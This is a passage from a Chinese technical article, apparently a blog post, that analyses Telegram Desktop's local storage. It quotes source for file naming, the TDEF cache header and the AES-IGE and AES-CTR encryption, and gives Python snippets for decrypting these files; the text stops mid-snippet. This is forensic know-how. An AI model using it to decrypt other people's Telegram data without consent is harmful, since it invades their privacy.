src="https://wechat2rss.xlab.app/img-proxy/?k=f266975a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzM9cLTzsSQmbU5hVJeCIvlFNKIG5EaUyPaSh25kUlKavahnW9oaWd3w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;display: inline !important;">在每次读取文件时，telegram会通过计算“加密数据 + 版本号 + 魔数”的md5值来验证数据的完整性。若计算的结果与文件末尾的签名不一致，则跳过对当前文件的读取。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">Telegram/SourceFiles/storage/details/storage_file_utilities.cpp:ReadFile() {</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__comment">// ...</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// check signature</span></span></code><code><span class="code-snippet_outer">  HashMd5 md5;</span></code><code><span class="code-snippet_outer">  md5.feed(bytes.constData(), dataSize);</span></code><code><span class="code-snippet_outer">  md5.feed(&amp;dataSize, <span class="code-snippet__keyword">sizeof</span>(dataSize));</span></code><code><span class="code-snippet_outer">  md5.feed(&amp;version, <span class="code-snippet__keyword">sizeof</span>(version));</span></code><code><span class="code-snippet_outer">  md5.feed(magic, TdfMagicLen);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (<span class="code-snippet__built_in">memcmp</span>(md5.result(), bytes.constData() + dataSize, <span class="code-snippet__number">16</span>)) {</span></code><code><span class="code-snippet_outer">    DEBUG_LOG((<span class="code-snippet__string">&#34;App Info: bad file &#39;%1&#39;, signature did not match&#34;</span></span></code><code><span class="code-snippet_outer">              ).arg(name));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// ...</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n15" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">telegram对部分文件有独特的命名方法，具体在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Telegram/SourceFiles/storage/details/storage_file_utilities.cpp:GenerateKey()</code>函数中进行定义。</span></p><p cid="n16" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">GenerateKey()</code>生成了一个类型为<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">quint64</code>的随机数，接着调用<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">ToFilePart()</code>函数对随机数进行转换。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">FileKey</span> <span class="code-snippet__string">GenerateKey(const QString &amp;basePath) {</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">FileKey</span> <span class="code-snippet__string">result;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">QString</span> <span class="code-snippet__string">path;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">path.reserve(basePath.size()</span> <span class="code-snippet__string">+ 0x11);</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">path</span> <span class="code-snippet__string">+= basePath;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">do</span> <span class="code-snippet__string">{</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">result</span> = <span class="code-snippet__string">base::RandomValue&lt;FileKey&gt;(); // using FileKey = quint64;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">path.resize(basePath.size());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">path</span> <span class="code-snippet__string">+= ToFilePart(result);</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">}</span> <span class="code-snippet__string">while (!result || KeyAlreadyUsed(path));</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">return</span> <span class="code-snippet__string">result;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">ToFilePart()</code></span><span md-inline="plain">函数使用</span><span md-inline="code" spellcheck="false"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">&amp; 0x0f</code></span><span md-inline="plain">操作来获取</span><span md-inline="code" spellcheck="false"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">val</code></span><span md-inline="plain">的最后一个字节，并转换为16进制的字符形式，通过循环16次来得到长度为16，由数字+字母（A~F）构成的字符串。</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">QString ToFilePart(FileKey <span class="code-snippet__keyword">val</span>) {</span></code><code><span class="code-snippet_outer">  QString result;</span></code><code><span class="code-snippet_outer">  result.reserve(<span class="code-snippet__number">0x10</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> (int32 i = <span class="code-snippet__number">0</span>; i &lt; <span class="code-snippet__number">0x10</span>; ++i) {</span></code><code><span class="code-snippet_outer">    uchar v = (<span class="code-snippet__keyword">val</span> &amp; <span class="code-snippet__number">0x0F</span>);</span></code><code><span class="code-snippet_outer">    result.push_back((v &lt; <span class="code-snippet__number">0x0A</span>) ? (<span class="code-snippet__string">&#39;0&#39;</span> + v) : (<span class="code-snippet__string">&#39;A&#39;</span> + (v - <span class="code-snippet__number">0x0A</span>)));</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">val</span> &gt;&gt;= <span class="code-snippet__number">4</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> result;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"></span><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><strong><span style="font-size: 18px;font-family: Helvetica, Arial, sans-serif;">B.数据解密</span></strong></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">DecryptLocal()</code>函数是telegram用来进行数据加密的主要函数，使用的是1978年由Campbell提出的<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">AES-IGE(Infinite Garble Extension)</code>加密模式对数据进行加密，主要步骤如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span class="code-snippet_outer">调用prepareAES_oldmtp()函数，使用localKey和messageKey生成aesKey -&gt;</span></code><code><span class="code-snippet_outer">  调用aesIgeDecryptRaw()函数，使用aesKey来解密数据 -&gt;</span></code><code><span class="code-snippet_outer">    使用SHA1算法校验数据的完整性</span></code></pre></section><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;display: inline !important;">python的伪代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">decrypted</span> = <span class="code-snippet__string">decryptLocal(mapEncrypted, localKey)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">def</span> <span class="code-snippet__string">decryptLocal(encrypted, key):</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">encryptedKey</span> = <span class="code-snippet__string">encrypted[:16]</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">decrypted</span> = <span class="code-snippet__string">aesDecryptLocal(encrypted[16:], key, encryptedKey)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">digest</span> = <span class="code-snippet__string">sha1(decrypted)[:16]</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">if</span> <span class="code-snippet__string">digest != encryptedKey:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">raise</span> <span class="code-snippet__string">ValueError(&#39;App Info: bad decrypt key, data not decrypted&#39;)</span></span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">def</span> <span class="code-snippet__string">aesDecryptLocal(src, authkey, key128):</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">aesKey,</span> <span class="code-snippet__string">aesIV = prepareAES_oldmtp(authkey, key128)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">dst</span> = <span class="code-snippet__string">bytearray(len(src))</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">buffer</span> = <span class="code-snippet__string">ffi.from_buffer(dst)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">ffi_openssl.aesIgeDecryptRaw(src,</span> <span class="code-snippet__string">buffer, len(src), aesKey, aesIV)</span></span></code></pre></section><p cid="n25" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这里就不花费篇幅贴源代码了，感兴趣的同学可以关注<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">storage_file_utilities.cpp, mtproto_auth_key.h, mtproto_auth_key.cpp</code> 这三个文件，加密的逻辑都在这里了（最终调用的是openssl的加解密接口）。</span></p><p cid="n26" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">最后，telegram对于加密文件的解析（<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">storage_file_utilities.cpp: ReadEncryptedFile()</code>）主要进行了以下三步操作：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span class="code-snippet_outer">调用ReadFile()函数获取加密数据 -&gt; </span></code><code><span class="code-snippet_outer">  调用DecryptLocal()函数，使用localkey解密加密的数据 -&gt;</span></code><code><span class="code-snippet_outer">    解析明文数据，进行序列化等操作</span></code></pre></section><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;" data-color="#59c3f9"><p style="text-align:center;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><strong><span style="font-size: 20px;font-family: Helvetica, Arial, sans-serif;">缓存文件</span></strong></p><p cid="n29" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">telegram的缓存文件存储在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">tdata/user_data/</code>目录下，其中体积较小的文件放在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">cache</code>目录，体积较大的文件则放在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">media_cache</code>目录下。缓存文件使用<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">PlaceFromId()</code>函数生成随机的文件名，这个函数与<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">GenerateKey()</code>函数的处理逻辑基本一致，区别在于生成的文件名长度为14，并且前两个字节作为上层的文件名，以此来对缓存文件进行分类。</span></p><p cid="n30" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">PlaceFromId()</code>的代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span class="code-snippet_outer">// <a href="https://github.com/desktop-app/lib" target="_blank">https://github.com/desktop-app/lib</a><span class="code-snippet__emphasis">_storage/blob/master/storage/cache/storage_</span>cache<span class="code-snippet__emphasis">_database_</span>object.cpp</span></code><code><span class="code-snippet_outer">QString PlaceFromId(PlaceId place) {</span></code><code><span class="code-snippet_outer">  auto result = QString();</span></code><code><span class="code-snippet_outer">  result.reserve(15);</span></code><code><span class="code-snippet_outer">  const auto pushDigit = [<span class="code-snippet__string">&amp;</span>](<span class="code-snippet__link">uint8 digit</span>) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    const auto hex = (digit &lt; 0x0A)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">      ? char(&#39;0&#39; + digit)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">      : char(&#39;A&#39; + (digit - 0x0A));</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    result.push_back(hex);</span></span></code><code><span class="code-snippet_outer">  };</span></code><code><span class="code-snippet_outer">  const auto push = [<span class="code-snippet__string">&amp;</span>](<span class="code-snippet__link">uint8 value</span>) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    pushDigit(value &amp; 0x0F);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    pushDigit(value &gt;&gt; 4);</span></span></code><code><span class="code-snippet_outer">  };</span></code><code><span class="code-snippet_outer">  for (auto i = 0; i != place.size(); ++i) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    push(place[i]);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    if (!i) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">      result.push_back(&#39;/&#39;);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__code">    }</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  return result;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">// 示例：</span></code><code><span class="code-snippet_outer">// std::array<span class="code-snippet__tag">&lt;<span class="code-snippet__name">uint8_t,</span> <span class="code-snippet__attr">7</span>&gt;</span> place = {1, 2, 3, 4, 5, 6, 7};</span></code><code><span class="code-snippet_outer">// PlaceFromId(place) = &#34;11/223344556677&#34;</span></code></pre></section><h4 cid="n32" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 18px;"><strong>A.文件结构</strong></span></h4><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;">telegram缓存文件的文件结构如图：</span></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="214" data-backw="874" data-galleryid="" data-ratio="0.24537037037037038" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e63f25a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzbDoqTNJX3icMAQZYRwQO1XD5W3iaZEgdrqBC23xbptE498gtVoK4KGyg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;">缓存文件分为三个部分，依次为魔数，基础头信息（<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Basic Header</code>）和加密数据。其中魔数占据文件的头4个字节，固定为<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">TDEF</code>（Telegram Desktop Encrypted File的缩写），<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Basic Header</code>是一个结构体，定义在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">storage/cache/storage_encrpted_file.cpp</code>中，占据<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">64 + 16 + 32</code>个字节。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">constexpr</span> <span class="code-snippet__keyword">auto</span> kSaltSize = size_type(<span class="code-snippet__number">64</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">constexpr</span> <span class="code-snippet__keyword">auto</span> kSha256Size = size_type(<span class="code-snippet__number">32</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">BasicHeader</span> {</span></span></code><code><span class="code-snippet_outer">  bytes::<span class="code-snippet__built_in">array</span>&lt;kSaltSize&gt; salt = { { bytes::type() } };</span></code><code><span class="code-snippet_outer">  uint32 format : <span class="code-snippet__number">8</span>; <span class="code-snippet__comment">// 位域</span></span></code><code><span class="code-snippet_outer">  uint32 reserved1 : <span class="code-snippet__number">24</span>;</span></code><code><span class="code-snippet_outer">  uint32 reserved2 = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  uint64 applicationVersion = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  bytes::<span class="code-snippet__built_in">array</span>&lt;openssl::kSha256Size&gt; checksum = { { bytes::type() } };</span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><br/></p><h4 cid="n37" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 18px;"><strong>B.数据解密</strong></span></h4><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;">telegram 使用<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">AES-CTR128</code>模式对缓存文件进行加密，<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code>是加密所使用的的密钥。这里并没有使用额外的checksum来校验校验后序加密数据的完整性，<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Basic Header</code>中的checksum仅仅用来校验<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Basic Header</code>结构体内成员数据的完整性。</span><span style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"></span></p><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;font-size: 16px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><br/></span></p><table style="width: 768px;"><tbody><tr><td width="853" valign="top" style="word-break: break-all;"><p cid="n40" mdtype="paragraph" style="margin-bottom: 0.8em;text-align: left;vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;color: rgb(119, 119, 119);font-size: 16px;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 15px;">CTR摸式是一种通过将逐次累加的计数器进行加密来生成密钥流的流密码。CTR模式中，每个分组对应一个逐次累加的计数器，并通过对计数器进行加密来生成密钥流。也就是说，最终的密文分组是通过将计数器加密得到的比特序列，与明文分组进行XOR而得到的。</span></p><p cid="n41" mdtype="paragraph" style="margin-top: 0.8em;text-align: left;vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;color: rgb(119, 119, 119);font-size: 16px;background-color: rgb(255, 255, 255);font-family: Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 15px;">CTR模式中可以以任意顺序对分组进行加密和解密，因此在加密和解密时需要用到的“计数器”的值可以由nonce和分组序号直接计算出来，因此CTR模式能够以任意顺序处理分组，就意味着能够实现并行计算。</span></p></td></tr></tbody></table><span style="background-color: rgb(255, 255, 255);color: rgb(119, 119, 119);font-family: Helvetica, Arial, sans-serif;font-size: 15px;letter-spacing: 1.5px;orphans: 4;white-space: pre-wrap;"></span><p style="text-align:left;vertical-align: inherit;font-size: 14px;letter-spacing: 1.5px;"><span md-inline="plain" style="box-sizing: border-box;background-color: rgb(255, 255, 255);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;display: inline !important;">解密缓存文件的python代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">with</span> <span class="code-snippet__keyword">open</span>(<span class="code-snippet__keyword">path</span>, <span class="code-snippet__string">&#39;rb&#39;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> f.read(<span class="code-snippet__number">4</span>) != b<span class="code-snippet__string">&#39;TDEF&#39;</span>:</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">raise</span> ValueError(<span class="code-snippet__string">&#39;wrong file 